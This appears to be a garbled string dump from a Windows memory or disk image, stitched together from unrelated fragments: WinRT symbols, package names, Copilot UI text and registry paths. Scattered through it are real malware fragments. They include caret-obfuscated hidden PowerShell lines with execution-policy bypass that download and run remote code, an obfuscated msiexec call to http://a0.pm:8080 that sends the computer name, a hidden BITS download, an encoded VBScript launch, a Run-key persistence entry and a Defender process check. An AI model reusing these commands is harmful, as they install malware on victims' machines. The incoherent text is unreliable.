.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IUIElementOverrides7T@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$StartupAppsPage_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IControlOverrides6T@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AV?$IPageOverridesT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
ComSpec=C:\WINDOWS\system32\cmd.ex
USERDOMAIN_ROAMINGPROFILE=Windows11+
USERDOMAIN_ROAMINGPROFILE=Windows1
WINDOWS\system32\cmd.ex
("c:\\windows\\diagnostics\\index\\audioplaybackdiagnostic.xml");var
.?AV<lambda_1>@?4??OnRemediationNotification@CSecurityCenterIntegrationCallback@@UEAAJUCloudBackupProviderRemediationDetails@SecurityCenter@Windows@@@Z@
.?AV<lambda_1>@?7??OnDataCorruptionMalwareFoundNotification@CSecurityCenterIntegrationCallback@@UEAAJUCloudBackupProviderDetectionDetails@SecurityCenter@Windows@@@Z@
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngineD
Windows.Client.WebExperience_cw5n1h2txyewy
!windows\system32\cmd.exec:cm^d.e^xe,/cpo^w^er^shel^l.ex^e-n^op-w^i^ndh^idd^en-ex^e^cb^yp^a^ss-no^n^i-^ci"e"x((ne"w"-ob^jectne^t.w"e"bcl^ient).d"o"wnl^oadstr"i"ng('ht
58^com.microsoft.windows.extensionpackage
59^com.microsoft.windows.extension.voiceaccess
com.microsoft.windows.extension.voiceaccess
5a^com.microsoft.windows.extensions.xaml.voiceaccess
com.microsoft.windows.extensions.xaml.voiceaccess
his can also happen when the JS bundle is corrupt or there is an early initialization error when loading React Native._handleContentOnLayoutputRanget TurboModuleRegistry.getEnforcing(...): '] | must return a plain object. Instead received keys ... }' is deprecated. #83D1DCIPhotoEffectNoirx1.0965205430984497pxMidYMinified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.#70ceefloodgateSurvey/get_selected_reasonGestureHandlerStateChanget StyleSheetouchmoveWindowLossAversionDialogHeadergba(0, 95, 184, 0.8)_setNativeRefreshingetMemoCacheckOffsetTimeouterCircleDisabled#0A84FFailed to fetch AC Message Data loaded successfully for settings view.kMaxLengthandleNewPropsAndNewStatextTransformatCategoriesetSelfHighlightCallbackfmSilentPendingDialogTextokensThatAreAlsoPropsubtreeFlagsubarrayToHashade10.18 10.18_fetchTextractBrushade20c3a284a71f425262866d50a1b04b0isMoveishade30 0 48 37isStartishade40 0 48 48#605e5closureact-redux-context-fillavenderblushade50%_slicedToArrayellowPale#18404Failed to fetch resource stringsendSmileOptionTitleanimationStateChanget TextInputPropTypesplitLayoutPropselectDisableEmailInput#1397FFailed to fetch initial autostart stateNodeError occurred when restarting Sampling Profiler: http://localhost:9001/sync/premium/dismissActionSheetManager doesn't existopColorange20Trying to remove a child that doesn't existopOpacityahoodignoreOkButtonTextopPointerLeave#0f703bget isTestinget unstable_batchedUpdatesImplaceChildListCollectionKeyPressCaptureact.context-strokeLinecapitalize#6e220floodgateSurvey/expand_toastrokeMiterlimitTextInputilsopenSettingshowProductCardSuccessNotMovedFileselectIsSpacelessLanguaget VirtualizedSectionListrokeWidthis hasn't been initialised - super() hasn't been calledUnexpected value for nesting is not a valid style attributelephoneNumberotate(-139.764 190.493 25.636)scale(4.65875 7.07533)#fff1ccommon/onLogError: " is not a valid number or percentage string.svgIconsoleTablePolyfillatnonPromiseMethodWrappersonalButtonDisabled#d7494commitBeforeMutationEffectsettingsSyncPlaceholdersOptint10 0 48 53initialI18nStoreadMultint20pxeacm_confettint30 0 48 62.86universal2axis set to '' or 'text', but it is 'this' is expected an Event object, but gotint40 0 494 146#15578Bahnschriftint50 0 50 48The title prop of a Button must be a stringifySafeBlendScroll#DEDEDELAYou must specify exactly one property per transform object.http://localhost:9001/sync/odignore/updateQueuemitTimeDriftWarningetBBox#FDCC7Cannot load an empty url(#A)#f2fafcommon/fetchUpdateRingKillSwitchartreuseAppDispatchCatfoodDescriptionKFMOnboardingHoverChangedanimation_PauseAppSelectorange30maxRetrieshouldDisableOnPauseCallbackButtonForegroundPressedarkGray70viewConfigetScriptPartFromCodefaultDisabledIcontinuouseContext can only be read while React is rendering. In classes, you can read it in the render method or getDerivedStateFromProps. In function components, you can read it directly in the function body, but not inside Hooks like useReducer() or useMemo(). Module exists, but the method is undefined.checkboxBorderRadiusePreviouseEffectaImaget ColorPropType will be removed from React Native, along with all other PropTypes. We recommend that you migrate away from PropTypes and switch to a type system like TypeScript. If you need to continue using ColorPropType, migrate to the 'deprecated-react-native-prop-types' package.fetchAllSettingsetPlayerPauseStateCmduseTranslationForOShade20#946b5collaboration-expander-content://photo/$valueOfileAndIcon-footerButtoneutralStroke1SelectedInvariant ViolationPressFlyoutItemSharedStatusGroupOwnedmockCompositeAnimationPressInvalid `viewBox` prop:#605E5CIPhotoEffectInstantiquewhitesmokeyboardkeyboardDidHidentity#bdd99baseVerticallSeekFunctionBandwidthUpdatehttp://localhost:9001/sync/ShareLoading/get Alert.prompt not currently implemented in react-native-windowsbrushareLoadingInitialMessaget I18nManagerequiredDiagnosticDataPrimaryM23.01 26.4c2.76-.72 5.55-1.44 8.34-2.19-2.94-3.45-5.7-6.93-8.28-10.38-.6 2.73-1.11 5.46-1.5 8.16.45 1.5.93 2
-noprofile-windowsx
windows
windows.hlp`
ows\system32\driv$
fromwindowsdefenderforeachfolder
exec("c:\windows\syswow64\re
windows_m_tfosorci
windows_9_tfosorci
windows_9_tfosorci
windows\games\:c:
WINDOWS\resources\arbejdsmarkedernes\incudomalleal.hva
0HKCU\Software\Microsoft\Windows\CurrentVersion\RunR
evice\Sg&SdiskVolume3\Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf
System.Windows.Forms
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
get_MainWindowStatusBarDefault
System.Windows.Forms.Layout
/c reg add hkcu\software\microsoft\windows\q
WindowsSubAuthority
get_WindowsIdentity
System.Runtime.InteropServices.WindowsRuntime.ICustomPropertyProvider.GetIndexedProperty
System.Runtime.InteropServices.WindowsRuntime.ICustomPropertyProvider.GetCustomProperty
/c tasklist /fi "imagename eq MsMpEng.exe" | find /c "PID" && Echo Windows Defender/
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
Microsoft.Windows.Security.CodeIntegrity.Activity
Microsoft.Windows.Security.CodeIntegrity.SACWintrustActivityVerbose
Microsoft.Windows.Security.Wldp
Microsoft.Windows.Security.CodeIntegrity.SACWintrustActivity
Microsoft.Windows.Security.CodeIntegrity.State
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Security.CodeIntegrity.State
Windows HD|?
windows 
windows 
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Shell.FileExplorer.Aggregate
Microsoft.Windows.Power.Umpo.SleepStudylib
Microsoft.Windows.Shell.DataLayer
Microsoft.Windows.Security.CloudAp
Microsoft.Windows.Security.Netlogon
6f^windows.appExtension
Windows.System.UserProfile.DiagnosticsSettings.dll
*MicrosoftWindows.CrossDevice_cw5n1h2txyewy
36^windows.appExtension
37^windows.appExtension
powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass -command p
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
NetpSetWinlogonCAD
.com/windows/, winupdchk%rnn%.log
\system32\
windowSize
9c:\v1rwindows@owhr.pwindowsz1rdbsystem32bowhr.b;system32b2o7imsiexec.exeho7iro.xmsiexec.exen-m6jc:\windows\system32\msiexec.exe
msiexec.exe@i)aplicativo@m1spsjc(=oqc:\windows\system32\msiexec.exe
S-cmd.exej-iudc:\windows\system32\cmd.exe.dell$..\..\..\..\windows\system32\cmd.exe/r^s^ta^rtms^iex^ec/^f^v"http://a0.pm:8080/a6ymdupgyfufrrzectejem/fmxh8kd8rrynxvbq/%computername%"^w^h^b=^pqh^ve^qh^s/q^uiet^gi^pxy^k^eh=^dr^ujyshell32.dll
p='c:\windows\microsoft.net\framework\v4.0.30319\
Microsoft.Windows.Security.CertInUse
Microsoft.Windows.Security.Digest
Microsoft.Windows.Security.Dpapi
Microsoft.Windows.Security.CAPI
Microsoft.Windows.SvchostTelemetryProvider
Microsoft.Windows.Shell.CloudFilesAggregate
Microsoft.Windows.Security.Ntlm
 Windows Production PCA 2011
SLGetWindowsInformationDWORD
GetWindowsDirectoryW
std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@H@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IIterable@H@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@U?$IVectorView@H@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@H@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@H@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUtype@?$abi@U?$IVector@H@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@H@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@H@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@H@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producer_convert@Uargs@?$observable_vector_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@H@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@H@winrt@@V?$tuple@UIVectorChangedEventArgs@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uargs@?$observable_vector_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@H@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@HUcollection_version@23@@winrt@@U?$IIterator@H@Collections@Foundation@Windows@3@@winrt@@
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
'Microsoft Windows Code Signing PCA 20240
'Microsoft Windows Code Signing PCA 20240
Yhttp://www.microsoft.com/pkiops/crl/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crl0w
[http://www.microsoft.com/pkiops/certs/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crt0
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Xaml.Hosting.h
internal\sdk\inc\cppwinrt\winrt\Windows.Foundation.Collections.h
.text$lp00windowscodecs.dll!20_pri7
.text$lp01windowscodecs.dll!20_pri7
.text$lp03windowscodecs.dll!30_clientonly
.text$lp04windowscodecs.dll!30_clientonly
.text$lp06windowscodecs.dll!35_hybridboot
.text$lp07windowscodecs.dll!35_hybridboot
.text$lp09windowscodecs.dll!50_coldboot
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!IgnoreFrameApprovalCheck
\SystemRoot\System32\drivers\USB^LB
%BrowserAppProfile%\Main\WindowsSearch!ShowPrompt
%BrowserAppProfile%\New Windows!UseTimerMethod
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY!HKeyRoot
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
windows.ui.xaml.dll
GetWindowsDirectoryW
IPSecCheckReplayWindowSa
IPSecSetReplayWindowSa
IPSecCheckAndSetReplayWindowSa
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsCreateStringReference
WindowsGetH
windowstylehidden}elseif($
-windowstylehidden}elseif($
powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://
Microsoft-Windows-WMPNSS-Service
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.applicationpropertyfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appservicefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appurihandlerfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appurihandlergroupfactory.cpp
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringLen
WindowsCreateString
WindowsCreateStringReference
windows-1252
windows nt
microsoft.windows.lz.expandexpand.pdb!#OFN:rpcping.exe
/brpcping.pdbmicrosoft.windows.rpc.rpcpinga
\Microsoft\Windows\coco.exe
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\darkModeSync\darkModeSync.pdb
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
WindowsDeleteStringBuffer
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsDeleteString
Windows
onecoreuap\windows\cdp\core\private\TransportManager.h
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsCompareStringOrdinal
WindowsCreateStringReference
WindowsTrimStringStart
WindowsTrimStringEnd
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsSubstring
WindowsConcatString
Windows.Web.dll
\appdata\local\microsoft\windows\inetcache\
WindowsDuplicateString(source.contractId, &uninitializedElement->contractId)
L..\windows\system32\cmd.exe/c
.cmdregsc:\windows\system32\shell32.dll
Zc:\usbstarter.exe.\usbstarter.exec:\!%systemroot%\system32\shell32.dll
$scheduler.getfolder("\microsoft\windows\softwareprotectionplatform");
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.uupproductpackagefactory.cpp
Windows::Internal::StateRepository::UupProductPackageFactoryServer::Add
Windows::Internal::StateRepository::UupProductPackageFactoryServer::Update
Windows::Internal::StateRepository::UupProductPackageFactoryServer::Delete
Windows::Internal::StateRepository::UupProductPackageFactoryServer::DeleteByUupProductAndPackageIdentity
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.xboxpackagefactory.cpp
Windows::Internal::StateRepository::XboxPackageFactoryServer::Add
Windows::Internal::StateRepository::XboxPackageFactoryServer::Update
Windows::Internal::StateRepository::XboxPackageFactoryServer::Delete
Windows::Internal::StateRepository::XboxPackageFactoryServer::DeleteByEditionId
Windows::Internal::StateRepository::XboxPackageFactoryServer::UpdateWorkId
Windows::Internal::StateRepository::XboxPackageFactoryServer::ClearWorkByWorkId
Windows::Internal::StateRepository::XboxPackageFactoryServer::DeleteByWorkId
Windows::Internal::StateRepositoa
onecoreuap\windows\cdp\shared\Account.h
onecoreuap\windows\cdp\shared\onecore\ComConversionsShared.h
onecoreuap\windows\cdp\shared\ShutdownHelpers.h
SOFTWARE\Microsoft\Windows\CurrentVersion\SmartGlass
windows_universal
{"text":"Received unmapped Windows error with hr 0x%08x"}
https://ppe.assets.activity.windows.com/v1/assets/$batch
https://activity.windows.com
https://assets.activity.windows.com/v1/assets
https://assets.activity.windows.com
https://assets.activity.windows.com/v1/assets/$batch
class Microsoft::WRL::ComPtr<struct Windows::Security::Credentials::IWebAccount> __cdecl shared::OneCoreAccountProvider::GetWebAccountFromTokenBroker(const class std::shared_ptr<class ICDPAccount> &,const class std::basic_string<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> > &)
class Microsoft::WRL::ComPtr<struct Windows::Security::Credentials::IWebAccountProvider> __cdecl shared::OneCoreAccountProvider::GetWebAccountProviderFromAccountType(enum CDPAccountType)
SOFTWARE\Microsoft\Windows\CurrentVersion\CDP
class Microsoft::WRL::ComPtr<struct Windows::Security::Credentials::IWebAccount> __cdecl shared::OneCoreAccountProvider::GetDefaultSignInAccount(void)
class Microsoft::WRL::ComPtr<struct Windows::Security::Credentials::IWebAccount> __cdecl shared::OneCoreAccountProvider::GetWebAccountFromTokenBroker(const class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > &)
onecoreuap\windows\cdp\common\internal\JsonSerializer.h
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.autoupdatepackagefactory.cpp
DriverData=C:\Windows\System32\Drivers\DriverData
C:\WINDOWS\system32\wbem\WmiApSrv.exe
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
 Windows 
 Windows 10 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
itory\winrt\client\lib\windows.internal.staterepository.packageexternallocationfactory.cpp
Windows::Internal::StateRepository::PackageFamilyPolicyFactoryServer::Add
Windows::Internal::StateRepository::PackageFamilyPolicyFactoryServer::Update
Windows::Internal::StateRepository::PackageFamilyPolicyFactoryServer::Delete
Windows::Internal::StateRepository::PackageFamilyPolicyFactoryServer::DeleteByUserAndPackageFamilyAndNameAndIndex
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
SOFTWARE\Microsoft\Windows\CurrentVersion\SmartGlass
SOFTWARE\Microsoft\Windows NT\CurrentVersion
https://global.notify.windows.com/v2/register/xplatform/device
onecoreuap\windows\cdp\common\internal\BigEndianStreamReaderWriter.h
{"text":"CDP is initializing for Windows in Release mode [26100.7705]"}
c:\windows\system32\cmd.exe/cstartwscript.exe//e:vbscript.encodelogo.ico&start
="%systemdrive%\windows\system32\windowspowershell\v1.0\powershell.exe
\windows\system32\rundll32.exeshell32.dll,shellexec
remove-item-force"c:\windows\system32\eosnotify.exe
&start-process'c:\windows\
d.exe'-windowstylehidden
MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHost
rMicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackup
OMicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadata
WMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback
*MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlay
8MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCaptionsDesktop
Windows.folderoptions
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialogpr
windows.deploymentExtensionHandler
windows.publisherCacheFolders
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension|
windows.packageExtensiony
windows.packageExtensionw
windows.packageExtensionu
windows.packageExtensionr
windows.packageExtension
windows.packageExtension
windows.hostRuntime
windows.firewallRules
windows.firewallRules
windows.firewallRules
windows.firewallRules
windows.deploymentExtensionHandler
windows.deploymentExtensionHandler
windows.deploymentExtensionHandler
windows.deploymentExtensionHandler
windows.deploymentExtensionHandler
windows.deploymentExtensionHandler
windows.sharedFonts
windows.publisherCacheFolders
#windows.publisherCacheFolders
windows.publisherCacheFolders
windows.publisherCacheFolders
windows.publisherCacheFolders
windows.publisherCacheFolders
windows.packageExtension
windows.packageExtension
windows.packageExtension
Zwindows.packageExtension
<windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
8windows.appExtension
8windows.appExtension
7windows.appExtension
7windows.appExte
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.uupproductfactory.cpp
Windows::Internal::StateRepository::UupProductFactoryServer::Add
Windows::Internal::StateRepository::UupProductFactoryServer::Update
Windows::Internal::StateRepository::UupProductFactoryServer::Delete
Windows::Internal::StateRepository::UupProductFactoryServer::DeleteByProductIDAndVersion
ms-windows-store2Q
windowsdefender
windows-feedbackL
microsoft.windows.cameraK)
microsoft.windows.camera.multipickerJ$
microsoft.windows.camera.pickerI
microsoft.windows.photos.pickerE
microsoft.windows.photos.videoeditB"
microsoft.windows.photos.cropA
windowsdefender<
ms-windowsbackup
Microsoft.Windows.CapturePickerCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoft.Windows.CapturePicker_cw5n1h2txyewy
Microsoft.Windows.AugLoop.CBSCN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US8wekyb3d8bbweMicrosoft.Windows.AugLoop.CBS_8wekyb3d8bbwe
Microsoft.Windows.AssignedAccessLockAppCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxAppCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoft.Windows.Apprep.ChxApp_cw5n1h2txyewy
Microsoft.Win32WebViewHostCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoft.Win32WebViewHost_cw5n1h2txyewy
Microsoft.LockAppCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoft.LockApp_cw5n1h2txyewy
windows.appExecutionAlias
Windows.FullTrustApplication
windows.shareTarget
windows.activatableClass.inProcessServerX,
windows.activatableClass.inProcessServerW,
windows.activatableClass.inProcessServerV,
windows.activatableClass.inProcessServerU,
windows.activatableClass.inProcessServerT,
windows.activatableClass.inProcessServerS,
windows.activatableClass.inProcessServerR&
windows.activatableClass.proxyStubQ,
windows.activatableClass.inProcessServerP,
windows.activatableClass.inProcessServerO&
windows.activatableClass.proxyStubN&
windows.activatableClass.proxyStubM,
windows.activatableClass.inProcessServerL,
windows.activatableClass.inProcessServerK,
windows.activatableClass.inProcessServerJ,
